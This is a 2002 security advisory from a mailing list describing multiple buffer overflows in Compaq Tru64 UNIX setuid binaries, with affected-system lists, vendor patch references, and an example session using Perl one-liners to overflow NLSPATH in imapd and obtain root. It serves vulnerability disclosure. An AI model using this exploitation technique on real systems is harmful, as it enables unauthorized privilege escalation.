[UNIX] Compaq Tru64 UNIX Multiple Buffer Overflows

From: support@securiteam.com
Date: 09/05/02 

From: support@securiteam.com
To: list@securiteam.com
Date: Thu,  5 Sep 2002 11:28:12 +0200 (CEST)

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  Compaq Tru64 UNIX Multiple Buffer Overflows
------------------------------------------------------------------------

SUMMARY

The Tru64 operating system produced by HP/Compaq contains multiple buffer
overflows in multiple system libraries and binaries. Tru64 is now shipped
with its non-exec stack implementation enabled by default. This measure is
intended to mitigate the risk presented by buffer overflow conditions in
setuid binaries - However, it has been proven ineffective in preventing an
attacker gaining increased privileges through traditional avenues of
exploitation.

DETAILS

Systems Affected:
The following systems are known to be affected by some or all of these
issues:
 * Tru64 5.1
 * Tru64 5.1A
 * DgUX 4.0

Affected binaries include:
/usr/dt/bin/dtprintinfo
/usr/dt/bin/dtsession
/usr/dt/bin/dtaction
/usr/dt/bin/dtterm
/usr/bin/X11/dxsysinfo
/usr/bin/X11/dxconsole
/usr/bin/X11/dxpause
/usr/bin/X11/dxterm
/usr/tcb/bin/dxchpwd
/usr/tcb/bin/edauth
/usr/sbin/imapd
/usr/bin/mh/msgchk
/usr/bin/mh/inc
/usr/bin/deliver
/usr/bin/rdist
/usr/bin/uucp
/usr/bin/uux
/usr/bin/su

Example:
Here is a quick look at how one of these issues can be exploited. It
should be self-explanatory.

% uname -a
OSF1 alpha.snosoft.com V5.1 732 alpha
% id
uid=208(stripey) gid=15(users)
% ls -la /usr/sbin/imapd
-rws--x--x 1 root bin 789216 Aug 24 2000 /usr/sbin/imapd
% perl
-e'$ENV{"NLSPATH"}=("A"x1024)."\x01\x02\x03\x04\x05";exec("/usr/sbin/imapd")'
Segmentation fault
% su
Password:
# cp /usr/sbin/imapd test
# chmod a+r test
# exit
% perl
-e'$ENV{"NLSPATH"}=("A"x1024)."\x01\x02\x03\x04\x05";exec("dbx","./test")'
(dbx) r
signal Segmentation fault at
warning: PC value 0x504030200 not valid, trying RA
warning: RA value 0x504030200 not valid, trying text start
warning: text start 0x120000000 not valid, trying data start
warning: Using data start as a text address -- traceback will not work
> [., 0x140000000] call_pal cflush
(dbx) 0x140014280/2X
0x0000000140014280: 0x4141414141414141 0x4141414141414141
(dbx) q
% perl
-e'$ENV{"NLSPATH"}=(pack("l",0x47ff041f)x227).(`./sc`).pack("ll",0x40014280,0x1);exec("/usr/sbin/imapd")'
# id
uid=208(stripey) gid=15(users) euid=0(root)
#

Impact:
A local unprivileged user can obtain increased permissions regardless of
the non-exec stack flag.

Workaround:
HP/Compaq has provided the following advisory and patches:
HP Advisory Ref: SSRT2257
 
<http://wwss1pro.compaq.com/support/reference_library/viewdocument.asp?source=SRB0039W.xml&dt=11> http://wwss1pro.compaq.com/support/reference_library/viewdocument.asp?source=SRB0039W.xml&dt=11

Proof of Concept:
See <http://www.snosoft.com/research> http://www.snosoft.com/research in
a few days.

Vendor Status:
Vendor informed and patches available.

ADDITIONAL INFORMATION

The information has been provided by <mailto:dotslash@snosoft.com> KF.

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